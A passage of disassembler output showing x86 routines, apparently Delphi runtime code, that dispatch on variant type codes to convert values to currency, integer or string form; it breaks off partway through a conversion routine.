var_1C		= qword	ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	6
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		call	sub_4000E034
		mov	eax, [esp+1Ch+var_C]
		mov	dword ptr [esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_8]
		mov	dword ptr [esp+1Ch+var_1C+4], eax
		fild	[esp+1Ch+var_1C]
		add	esp, 18h
		pop	ebx
		retn
sub_40010F28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010F74	proc near		; CODE XREF: sub_40011024+1F1p

var_18		= byte ptr -18h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40010FC9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_40011024
		fistp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010FD0


loc_40010FC0:				; CODE XREF: sub_40010F74+5Aj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40010FC9:				; DATA XREF: sub_40010F74+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010FC0
; ---------------------------------------------------------------------------


loc_40010FD0:				; CODE XREF: sub_40010F74+54j
					; DATA XREF: sub_40010F74+47o
		fild	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010FD8	proc near		; CODE XREF: sub_40011024+3A8p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4001101A
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	6
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_4001101A:				; CODE XREF: sub_40010FD8+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40010FD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40011024	proc near		; CODE XREF: sub_4000E9CC+130p
					; sub_40010F74+36p ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFECh
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_400111F3	; default
					; jumptable 40011039 cases 10,14,15
		jmp	ds:off_40011040[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011040	dd offset loc_40011094	; DATA XREF: sub_40011024+15r
		dd offset loc_400110A2	; jump table for switch	statement
		dd offset loc_400110C6
		dd offset loc_400110D8
		dd offset loc_400110EA
		dd offset loc_400110EA
		dd offset loc_400110FA
		dd offset loc_4001110C
		dd offset loc_4001111C
		dd offset loc_400111E3
		dd offset loc_400111F3
		dd offset loc_4001112C
		dd offset loc_400111D2
		dd offset loc_400111E3
		dd offset loc_400111F3
		dd offset loc_400111F3
		dd offset loc_40011147
		dd offset loc_40011162
		dd offset loc_4001117D
		dd offset loc_40011198
		dd offset loc_400111B8
; ---------------------------------------------------------------------------


loc_40011094:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		xor	eax, eax	; jumptable 40011039 case 0
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110A2:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		cmp	byte_4001AA10, 0 ; jumptable 40011039 case 1
		jz	short loc_400110B8
		mov	dx, 6
		mov	ax, 1
		call	sub_4000DBF4


loc_400110B8:				; CODE XREF: sub_40011024+85j
		xor	eax, eax
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110C6:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		fild	word ptr [ebx+8] ; jumptable 40011039 case 2
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110D8:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		fild	dword ptr [ebx+8] ; jumptable 40011039 case 3
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110EA:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 cases 4,5
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110FA:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, [ebx+8]	; jumptable 40011039 case 6
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001110C:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 case 7
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001111C:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 case 8
		call	sub_40010E0C
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001112C:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movsx	eax, word ptr [ebx+8] ;	jumptable 40011039 case	11
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011147:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movsx	eax, byte ptr [ebx+8] ;	jumptable 40011039 case	16
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011162:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movzx	eax, byte ptr [ebx+8] ;	jumptable 40011039 case	17
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001117D:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movzx	eax, word ptr [ebx+8] ;	jumptable 40011039 case	18
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011198:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, [ebx+8]	; jumptable 40011039 case 19
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111B8:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		fild	qword ptr [ebx+8] ; jumptable 40011039 case 20
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010EC8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111D2:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, [ebx+8]	; jumptable 40011039 case 12
		call	sub_40011024
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111E3:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 cases 9,13
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111F3:				; CODE XREF: sub_40011024+Fj
					; sub_40011024+15j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40011039 cases 10,14,15
		sub	dx, 100h
		jz	short loc_40011203
		dec	dx
		jz	short loc_40011213
		jmp	short loc_40011223
; ---------------------------------------------------------------------------


loc_40011203:				; CODE XREF: sub_40011024+1D6j
		mov	eax, ebx
		call	sub_40010E0C
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011213:				; CODE XREF: sub_40011024+1DBj
		mov	eax, ebx
		call	sub_40010F74
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011223:				; CODE XREF: sub_40011024+1DDj
		test	ah, 40h
		jz	loc_400113C8
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_400113BB	; default
					; jumptable 4001123D cases 0,1,9,10,13-15
		jmp	ds:off_40011244[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011244	dd offset loc_400113BB	; DATA XREF: sub_40011024+219r
		dd offset loc_400113BB	; jump table for switch	statement
		dd offset loc_40011298
		dd offset loc_400112AC
		dd offset loc_400112C0
		dd offset loc_400112C0
		dd offset loc_400112D0
		dd offset loc_400112E4
		dd offset loc_400112F4
		dd offset loc_400113BB
		dd offset loc_400113BB
		dd offset loc_40011304
		dd offset loc_400113AD
		dd offset loc_400113BB
		dd offset loc_400113BB
		dd offset loc_400113BB
		dd offset loc_40011321
		dd offset loc_4001133E
		dd offset loc_4001135B
		dd offset loc_40011375
		dd offset loc_40011394
; ---------------------------------------------------------------------------


loc_40011298:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 2
		fild	word ptr [eax]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112AC:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 3
		fild	dword ptr [eax]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112C0:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, ebx	; jumptable 4001123D cases 4,5
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112D0:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 6
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112E4:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, ebx	; jumptable 4001123D case 7
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112F4:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, ebx	; jumptable 4001123D case 8
		call	sub_40010E0C
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011304:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 11
		movsx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011321:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 16
		movsx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001133E:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 17
		movzx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001135B:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 18
		movzx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_40011375:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 19
		mov	eax, [eax]
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_40011394:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 20
		fild	qword ptr [eax]
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010EC8
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_400113AD:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 12
		call	sub_40011024
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_400113BB:				; CODE XREF: sub_40011024+213j
					; sub_40011024+219j
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 4001123D cases 0,1,9,10,13-15
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_400113C8:				; CODE XREF: sub_40011024+202j
		mov	edx, esp
		mov	eax, ebx
		call	sub_40010FD8
		test	al, al
		jnz	short loc_400113E0
		mov	eax, ebx
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait


loc_400113E0:				; CODE XREF: sub_40011024+79j
					; sub_40011024+9Dj ...
		fild	[esp+18h+var_18]
		add	esp, 14h
		pop	ebx
		retn
sub_40011024	endp

; ---------------------------------------------------------------------------
flt_400113E8	dd 1.0e4		; DATA XREF: sub_40011024+A5r
					; sub_40011024+B7r ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400113EC	proc near		; CODE XREF: sub_400116DC+142p
					; sub_400116DC+3A0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40005008
		push	eax
		push	0
		push	400h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, off_4001AF04
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 6
		call	sub_4000E034
		pop	ebx
		pop	ebp
		retn	8
sub_400113EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011424	proc near		; CODE XREF: sub_400116DC+15Fp
					; sub_400116DC+3BFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40005008
		push	eax
		push	0
		push	400h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, off_4001AFC8
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 7
		call	sub_4000E034
		pop	ebx
		pop	ebp
		retn	8
sub_40011424	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001145C	proc near		; CODE XREF: sub_400116DC+19Fp
					; sub_400116DC+3EDp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40011514
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40005008
		push	eax
		push	0
		push	400h
		push	esi
		mov	eax, off_4001B058
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 0Bh
		call	sub_4000E034
		movzx	eax, byte_4001AA18
		sub	al, 1
		jb	short loc_400114F9
		jz	short loc_400114B2
		dec	al
		jz	short loc_400114D3
		jmp	short loc_400114F4
; ---------------------------------------------------------------------------


loc_400114B2:				; CODE XREF: sub_4001145C+4Ej
		lea	eax, [ebp+var_8]
		mov	edx, [ebx]
		call	sub_40004B0C
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_4]
		call	sub_40007A58
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40005158
		jmp	short loc_400114F9
; ---------------------------------------------------------------------------


loc_400114D3:				; CODE XREF: sub_4001145C+52j
		lea	eax, [ebp+var_10]
		mov	edx, [ebx]
		call	sub_40004B0C
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		call	sub_400079BC
		mov	edx, [ebp+var_C]
		mov	eax, ebx
		call	sub_40005158
		jmp	short loc_400114F9
; ---------------------------------------------------------------------------


loc_400114F4:				; CODE XREF: sub_4001145C+54j
		call	sub_4000DC90


loc_400114F9:				; CODE XREF: sub_4001145C+4Cj
					; sub_4001145C+75j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001151B


loc_40011506:				; CODE XREF: sub_4001145C+BDj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40011514:				; DATA XREF: sub_4001145C+12o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011506
; ---------------------------------------------------------------------------


loc_4001151B:				; CODE XREF: sub_4001145C+B7j
					; DATA XREF: sub_4001145C+A5o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4001145C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011524	proc near		; CODE XREF: sub_400116DC+255p
					; sub_400116DC+4A4p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_400115E3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_400115C1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		push	0
		push	400h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 100h
		call	sub_4000E034
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		mov	edx, [ebp+var_8]
		call	sub_4000511C
		mov	eax, [ebp+var_18]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40004B0C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400115C8


loc_400115B8:				; CODE XREF: sub_40011524+A2j
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_400115C1:				; DATA XREF: sub_40011524+2Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400115B8
; ---------------------------------------------------------------------------


loc_400115C8:				; CODE XREF: sub_40011524+9Cj
					; DATA XREF: sub_40011524+8Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400115EA


loc_400115D5:				; CODE XREF: sub_40011524+C4j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_40005020
		retn
; ---------------------------------------------------------------------------


loc_400115E3:				; DATA XREF: sub_40011524+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400115D5
; ---------------------------------------------------------------------------


loc_400115EA:				; CODE XREF: sub_40011524+BEj
					; DATA XREF: sub_40011524+ACo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011524	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400115F0	proc near		; CODE XREF: sub_400116DC+28Dp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011646
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		lea	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_400116DC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001164D


loc_4001163D:				; CODE XREF: sub_400115F0+5Bj
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011646:				; DATA XREF: sub_400115F0+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001163D
; ---------------------------------------------------------------------------


loc_4001164D:				; CODE XREF: sub_400115F0+55j
					; DATA XREF: sub_400115F0+48o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400115F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011654	proc near		; CODE XREF: sub_400116DC+4C0p

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_4001166B
		xor	edx, edx
		mov	[eax], edx


loc_4001166B:				; CODE XREF: sub_40011654+11j
		lea	edx, [ebp+var_C]
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_400116D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_400116C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	100h
		mov	ecx, ebx
		lea	edx, [ebp+var_1C]
		mov	eax, [ebp+var_C]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_14]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400116D0


loc_400116C0:				; CODE XREF: sub_40011654+7Aj
		lea	eax, [ebp+var_1C]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_400116C9:				; DATA XREF: sub_40011654+37o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400116C0
; ---------------------------------------------------------------------------


loc_400116D0:				; CODE XREF: sub_40011654+29j
					; sub_40011654+74j
					; DATA XREF: ...
		movzx	eax, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400116DC	proc near		; CODE XREF: sub_4000E7FC+19p
					; sub_400115F0+3Bp ...

var_94		= tbyte	ptr -94h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_400116E4:				; CODE XREF: sub_400116DC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_400116E4
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40011C08
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40011945	; default
					; jumptable 4001170F cases 10,14,15
		jmp	ds:off_40011716[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011716	dd offset loc_4001176A	; DATA XREF: sub_400116DC+33r
		dd offset loc_40011776	; jump table for switch	statement
		dd offset loc_4001179E
		dd offset loc_400117B9
		dd offset loc_400117D3
		dd offset loc_400117F4
		dd offset loc_40011815
		dd offset loc_40011832
		dd offset loc_4001184F
		dd offset loc_4001192C
		dd offset loc_40011945
		dd offset loc_40011874
		dd offset loc_4001191B
		dd offset loc_4001192C
		dd offset loc_40011945
		dd offset loc_40011945
		dd offset loc_4001188F
		dd offset loc_400118AA
		dd offset loc_400118C5
		dd offset loc_400118E0
		dd offset loc_400118FE
; ---------------------------------------------------------------------------


loc_4001176A:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		mov	eax, esi	; jumptable 4001170F case 0
		call	sub_40004884
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011776:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		cmp	byte_4001AA10, 0 ; jumptable 4001170F case 1
		jz	short loc_4001178C
		mov	dx, 100h
		mov	ax, 1
		call	sub_4000DBF4


loc_4001178C:				; CODE XREF: sub_400116DC+A1j
		mov	eax, esi
		mov	edx, dword_4001AA14
		call	sub_400048D8
